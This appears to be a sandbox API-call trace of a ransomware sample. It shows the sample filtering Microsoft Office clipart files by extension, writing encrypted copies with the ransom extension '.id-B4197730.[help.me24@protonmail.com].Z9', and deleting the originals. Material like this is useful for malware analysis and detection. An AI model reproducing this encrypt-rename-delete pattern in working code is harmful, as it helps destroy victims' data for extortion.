	[0183.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString=".bz2") returned 4
	[0183.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.258] lstrlenW (lpString=".7z") returned 3
	[0183.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.259] lstrlenW (lpString=".dbf") returned 4
	[0183.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.259] lstrlenW (lpString=".1cd") returned 4
	[0183.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0183.259] lstrlenW (lpString=".jpg") returned 4
	[0183.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.259] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.259] lstrlenW (lpString="J0151055.WMF") returned 12
	[0183.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0183.260] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=14632) returned 1
	[0183.260] CloseHandle (hObject=0x548) returned 1
	[0183.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220
	[0183.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0183.261] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.261] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0183.262] GetLastError () returned 0x0
	[0183.262] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x3928, lpOverlapped=0x0) returned 1
	[0183.334] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3930, lpOverlapped=0x0) returned 1
	[0183.340] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.340] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.340] SetEndOfFile (hFile=0x558) returned 1
	[0183.341] CloseHandle (hObject=0x558) returned 1
	[0183.341] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.341] SetEndOfFile (hFile=0x548) returned 1
	[0183.850] CloseHandle (hObject=0x548) returned 1
	[0183.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1
	[0183.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.852] lstrlenW (lpString=".doc") returned 4
	[0183.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString=".docx") returned 5
	[0183.852] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0183.852] lstrlenW (lpString=".pdf") returned 4
	[0183.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString=".xls") returned 4
	[0183.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.852] lstrlenW (lpString=".xlsx") returned 5
	[0183.852] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0183.852] lstrlenW (lpString=".ppt") returned 4
	[0183.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.852] lstrlenW (lpString=".zip") returned 4
	[0183.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.852] lstrlenW (lpString=".rar") returned 4
	[0183.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString=".bz2") returned 4
	[0183.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString=".7z") returned 3
	[0183.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.852] lstrlenW (lpString=".dbf") returned 4
	[0183.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.852] lstrlenW (lpString=".1cd") returned 4
	[0183.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.853] lstrlenW (lpString=".jpg") returned 4
	[0183.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.853] lstrlenW (lpString=".doc") returned 4
	[0183.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString=".docx") returned 5
	[0183.853] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0183.853] lstrlenW (lpString=".pdf") returned 4
	[0183.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString=".xls") returned 4
	[0183.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.853] lstrlenW (lpString=".xlsx") returned 5
	[0183.853] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0183.853] lstrlenW (lpString=".ppt") returned 4
	[0183.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.853] lstrlenW (lpString=".zip") returned 4
	[0183.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.853] lstrlenW (lpString=".rar") returned 4
	[0183.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString=".bz2") returned 4
	[0183.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString=".7z") returned 3
	[0183.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.853] lstrlenW (lpString=".dbf") returned 4
	[0183.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.853] lstrlenW (lpString=".1cd") returned 4
	[0183.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0183.853] lstrlenW (lpString=".jpg") returned 4
	[0183.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.854] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.854] lstrlenW (lpString="J0152560.WMF") returned 12
	[0183.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.025] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=10880) returned 1
	[0184.025] CloseHandle (hObject=0x37c) returned 1
	[0184.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220
	[0184.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.198] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.198] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.199] GetLastError () returned 0x0
	[0184.199] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2a80, lpOverlapped=0x0) returned 1
	[0184.202] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2a90, lpOverlapped=0x0) returned 1
	[0184.203] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.203] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.204] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.204] CloseHandle (hObject=0x4a4) returned 1
	[0184.204] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.204] SetEndOfFile (hFile=0x530) returned 1
	[0184.207] CloseHandle (hObject=0x530) returned 1
	[0184.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1
	[0184.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.209] lstrlenW (lpString=".doc") returned 4
	[0184.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.209] lstrlenW (lpString=".docx") returned 5
	[0184.209] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.210] lstrlenW (lpString=".pdf") returned 4
	[0184.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString=".xls") returned 4
	[0184.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.210] lstrlenW (lpString=".xlsx") returned 5
	[0184.210] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.210] lstrlenW (lpString=".ppt") returned 4
	[0184.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.210] lstrlenW (lpString=".zip") returned 4
	[0184.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.210] lstrlenW (lpString=".rar") returned 4
	[0184.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString=".bz2") returned 4
	[0184.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString=".7z") returned 3
	[0184.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.210] lstrlenW (lpString=".dbf") returned 4
	[0184.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.210] lstrlenW (lpString=".1cd") returned 4
	[0184.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.210] lstrlenW (lpString=".jpg") returned 4
	[0184.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.211] lstrlenW (lpString=".doc") returned 4
	[0184.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".docx") returned 5
	[0184.211] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.211] lstrlenW (lpString=".pdf") returned 4
	[0184.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".xls") returned 4
	[0184.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.211] lstrlenW (lpString=".xlsx") returned 5
	[0184.211] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.211] lstrlenW (lpString=".ppt") returned 4
	[0184.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.211] lstrlenW (lpString=".zip") returned 4
	[0184.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.211] lstrlenW (lpString=".rar") returned 4
	[0184.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".bz2") returned 4
	[0184.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString=".7z") returned 3
	[0184.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.211] lstrlenW (lpString=".dbf") returned 4
	[0184.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.211] lstrlenW (lpString=".1cd") returned 4
	[0184.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0184.212] lstrlenW (lpString=".jpg") returned 4
	[0184.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.212] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.212] lstrlenW (lpString="J0152590.WMF") returned 12
	[0184.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.214] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=10932) returned 1
	[0184.214] CloseHandle (hObject=0x530) returned 1
	[0184.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220
	[0184.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.215] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.215] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.216] GetLastError () returned 0x0
	[0184.216] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2ab4, lpOverlapped=0x0) returned 1
	[0184.219] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2ac0, lpOverlapped=0x0) returned 1
	[0184.221] ReadFile (in: hFile=0x530, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.221] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.221] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.221] CloseHandle (hObject=0x4a4) returned 1
	[0184.222] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.222] SetEndOfFile (hFile=0x530) returned 1
	[0184.225] CloseHandle (hObject=0x530) returned 1
	[0184.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1
	[0184.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.662] lstrlenW (lpString=".doc") returned 4
	[0184.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString=".docx") returned 5
	[0184.663] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.663] lstrlenW (lpString=".pdf") returned 4
	[0184.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString=".xls") returned 4
	[0184.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.663] lstrlenW (lpString=".xlsx") returned 5
	[0184.663] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.663] lstrlenW (lpString=".ppt") returned 4
	[0184.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.663] lstrlenW (lpString=".zip") returned 4
	[0184.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.663] lstrlenW (lpString=".rar") returned 4
	[0184.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString=".bz2") returned 4
	[0184.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString=".7z") returned 3
	[0184.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.663] lstrlenW (lpString=".dbf") returned 4
	[0184.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.663] lstrlenW (lpString=".1cd") returned 4
	[0184.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.663] lstrlenW (lpString=".jpg") returned 4
	[0184.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.663] lstrlenW (lpString=".doc") returned 4
	[0184.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.663] lstrlenW (lpString=".docx") returned 5
	[0184.663] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.663] lstrlenW (lpString=".pdf") returned 4
	[0184.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.664] lstrlenW (lpString=".xls") returned 4
	[0184.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.664] lstrlenW (lpString=".xlsx") returned 5
	[0184.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.664] lstrlenW (lpString=".ppt") returned 4
	[0184.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0184.664] lstrlenW (lpString=".zip") returned 4
	[0184.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
